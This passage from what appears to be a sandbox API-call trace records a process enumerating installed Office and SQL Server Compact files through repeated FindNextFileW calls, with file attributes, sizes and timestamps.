lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa44929a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xa44929a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa44929a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0264.972] RtlpDeCommitFreeBlock () [0264.972] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0264.972] RtlpDeCommitFreeBlock () [0264.972] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69511700, ftCreationTime.dwHighDateTime=0x1c4a9a0, ftLastAccessTime.dwLowDateTime=0x97e6cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69511700, ftLastWriteTime.dwHighDateTime=0x1c4a9a0, nFileSizeHigh=0x0, nFileSizeLow=0x39cf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR3EN.LEX", cAlternateFileName="")) returned 1 [0264.973] RtlpDeCommitFreeBlock () [0264.973] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd656b340, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x12790, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPMGR.DLL", cAlternateFileName="")) returned 1 [0265.077] RtlpDeCommitFreeBlock () [0265.077] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aef100, ftCreationTime.dwHighDateTime=0x1cab8a8, ftLastAccessTime.dwLowDateTime=0x5a7450f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aef100, ftLastWriteTime.dwHighDateTime=0x1cab8a8, nFileSizeHigh=0x0, nFileSizeLow=0xddf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0265.139] RtlpDeCommitFreeBlock () [0265.139] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0265.140] RtlpDeCommitFreeBlock () [0265.140] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0265.140] RtlpDeCommitFreeBlock () [0265.140] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd6629a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x8f968, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0265.141] RtlpDeCommitFreeBlock () [0265.141] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e8d5600, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xde61b8a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7e8d5600, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x3bb598, dwReserved0=0x0, dwReserved1=0x0, cFileName="STSLIST.DLL", cAlternateFileName="")) returned 1 [0265.178] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13008100, ftCreationTime.dwHighDateTime=0x1ca4889, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x13008100, ftLastWriteTime.dwHighDateTime=0x1ca4889, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAULT_M.VST", cAlternateFileName="")) returned 1 [0265.197] RtlpDeCommitFreeBlock () [0265.197] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.197] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0265.197] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.197] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b97800, ftCreationTime.dwHighDateTime=0x1cbd8c9, ftLastAccessTime.dwLowDateTime=0xd11a8d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x45b97800, ftLastWriteTime.dwHighDateTime=0x1cbd8c9, nFileSizeHigh=0x0, nFileSizeLow=0x16a760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.EXE", cAlternateFileName="")) returned 1 [0265.198] RtlpDeCommitFreeBlock () [0265.198] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbccffc00, ftCreationTime.dwHighDateTime=0x1c43c6f, ftLastAccessTime.dwLowDateTime=0x5e822870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbccffc00, ftLastWriteTime.dwHighDateTime=0x1c43c6f, nFileSizeHigh=0x0, nFileSizeLow=0x2851, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML2WORD.XSL", cAlternateFileName="")) returned 1 [0265.198] RtlpDeCommitFreeBlock () [0265.198] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0265.201] RtlpDeCommitFreeBlock () [0265.201] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.201] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.201] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.201] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0265.282] RtlpDeCommitFreeBlock () [0265.282] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcad4b00, ftCreationTime.dwHighDateTime=0x1c6d84b, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcad4b00, ftLastWriteTime.dwHighDateTime=0x1c6d84b, nFileSizeHigh=0x0, nFileSizeLow=0x2f2af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Events.accdt", cAlternateFileName="EVENTS~1.ACC")) returned 1 [0265.285] RtlpDeCommitFreeBlock () [0265.285] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bbcc000, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x150615d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bbcc000, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x15cc78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Projects.accdt", cAlternateFileName="PROJEC~1.ACC")) returned 1 [0265.286] RtlpDeCommitFreeBlock () [0265.286] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14ee4810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSS", cAlternateFileName="")) returned 0 [0265.286] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0265.286] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.286] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1 [0265.291] RtlpDeCommitFreeBlock () [0265.291] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x219e1900, ftCreationTime.dwHighDateTime=0x1ca8f08, ftLastAccessTime.dwLowDateTime=0xf5d65210, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x219e1900, ftLastWriteTime.dwHighDateTime=0x1ca8f08, nFileSizeHigh=0x0, nFileSizeLow=0x1fa5cb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="FiveRules.potx", cAlternateFileName="FIVERU~1.POT")) returned 1 [0265.293] RtlpDeCommitFreeBlock () [0265.293] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0265.294] RtlpDeCommitFreeBlock () [0265.294] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc840bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc840bb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 0 [0265.294] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45dc188 | out: hHeap=0x540000) returned 1 [0265.294] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc75c370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc7a8630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc7a8630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0265.294] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0265.294] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.295] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e4db210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2db52, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrielLetter.Dotx", cAlternateFileName="ORIELL~1.DOT")) returned 1 [0265.296] RtlpDeCommitFreeBlock () [0265.296] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0265.297] RtlpDeCommitFreeBlock () [0265.297] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0265.297] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.297] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0265.297] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.297] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45f4198 | out: hHeap=0x540000) returned 1 [0265.297] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7f3ae5b0, ftLastAccessTime.dwHighDateTime=0x1d50335, ftLastWriteTime.dwLowDateTime=0x7f3ae5b0, ftLastWriteTime.dwHighDateTime=0x1d50335, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1 [0265.300] RtlpDeCommitFreeBlock () [0265.301] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0265.301] RtlpDeCommitFreeBlock () [0265.301] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0265.301] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.301] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.301] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1 [0265.302] RtlpDeCommitFreeBlock () [0265.302] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0 [0265.302] FindClose (in: hFindFile=0x63f048 | out: hFindFile=0x63f048) returned 1 [0265.302] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45dc188 | out: hHeap=0x540000) returned 1 [0265.302] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.302] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0265.302] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.302] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0265.306] RtlpDeCommitFreeBlock () [0265.306] FindNextFileW (in: hFindFile=0x63f088, lpFindFileData=0x35eee18 | out: lpFindFileData=0x35eee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0265.306] FindClose (in: hFindFile=0x63f088 | out: hFindFile=0x63f088) returned 1 [0265.306] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45ec190 | out: hHeap=0x540000) returned 1 [0265.306] FindNextFileW (in: hFindFile=0x63f048, lpFindFileData=0x35ef094 | out: lpFindFileData=0x35ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0265.307] RtlpDeCommitFreeBlock () [0265.307] FindNextFileW (in: hFindFile=0x63eec8, lpFindFileData=0x35ef310 | out: lpFindFileData=0x35ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0265.307] FindClose (in: hFindFile=0x63eec8 | out: hFindFile=0x63eec8) returned 1 [0265.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45cc180 | out: hHeap=0x540000) returned 1 [0265.308] FindNextFileW (in: hFindFile=0x63f0c8, lpFindFileData=0x35ef58c | out: lpFindFileData=0x35ef58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0265.308] FindClose (in: hFindFile=0x63f0c8 | out: hFindFile=0x63f0c8) returned 1 [0265.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x45bc178 | out: hHeap=0x540000) returned 1 [0265.308] FindNextFileW (in: hFindFile=0x63ee88, lpFindFileData=0x35ef808 | out: lpFindFileData=0x35ef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0265.308] FindClose (in: hFindFile=0x63ee88 | out: hFindFile=0x63ee88) returned 1 [0265.308] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4578138 | out: hHeap=0x540000) returned 1 [0265.308] FindNextFileW (in: hFindFile=0x63ed48, lpFindFileData=0x35efa84 | out: lpFindFileData=0x35efa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 